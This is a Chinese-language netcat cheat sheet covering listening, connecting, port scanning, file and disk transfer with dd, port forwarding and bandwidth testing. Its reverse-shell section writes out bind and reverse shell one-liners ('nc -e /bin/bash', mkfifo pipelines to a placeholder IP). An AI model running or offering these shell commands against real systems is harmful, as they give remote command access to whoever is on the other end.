功能
监听本地端口
- # 临时监听端口
- nc -l <PORT> # 临时监听TCP端口一次
- nc -lu <PORT> # 临时监听UDP端口
- # 以监听TCP端口为例,监听UDP端口基本一样
服务器端临时 监听端口
客户端尝试连接服务器端
建立TCP连接
客户端断开连接时,服务器端也关闭端口的监听
- nc -lk <PORT> #永久监听TCP端口
- nc -lku <PORT> #永久监听UDP端口
- # 永久监听:监听端口,并且客户端端来连接时,服务器端依旧监听等待连接;并且支持多客户端同时连接。UDP端口类似。
连接目标端口
- # 在监听部分可以找到连接的图,接下来重点操作一下端口扫描;nc扫描端口会创建TCP三次握手连接,会造成一定的流量,容易被发现。
- nc <IP> <PORT> # 连接目标TCP端口
- nc -u <IP> <PORT> # 连接目标UDP端口
- # 使用上述命令连接tcp或UDP端口,连接成功后会阻塞在用户输入中,让用户与目标端口进行交互。此外还有一种非交互模式,适合用来扫描端口。
- nc -z <IP> <PORT> #扫描目标TCP端口
- nc -zu <IP> <PORT> # 扫描目标UDP端口
- # -w参数的适用场景:扫描UDP端口;网络状况不好。在网络状况良好是,扫描TCP端口没有必要使用此参数。
- nc -z -w1 <IP> <PORT> range
传送文件
- 此部分需要两台机器的配合
- A机:数据存储机器
- B机:备份机器
TCP传送文件
UDP传送文件
传送目录
传送分区
- B: nc -l <PORT> | dd of=/dev/sda
- A: dd if=/dev/sda | nc <IP> <PORT>
反弹shell
- # nc有-e选项时
- #server
- nc -l <PORT> -e /bin/bash -i
- #client
- nc <IP> <PORT>
- # nc没有-e选项时,创建正向shell
- #server
- mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l <PORT> > /tmp/fifo
- #client
- nc <IP> <PORT>
- # 创建反向shell(服务器端连接客户端,然后受客户端控制)
- #client:
- nc <IP> <PORT>
- #server:
- mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc <IP> <PORT> > /tmp/fifo && rm -rf /tmp/fifo
端口转发
- # server
- nc -l <target port>
- mkfifo /tmp/fifo && cat /tmp/fifo | nc localhost <target port> | nc -l <listen port> > /tmp/fifo
- # client
- nc -n <IP> <listen port>
测机器间网速
- A: nc -l <PORT> >/dev/null
- B: nc <IP> <PORT> < /dev/zero
- A、B:watch -n 1 "/sbin/ifconfig <interface> | grep bytes"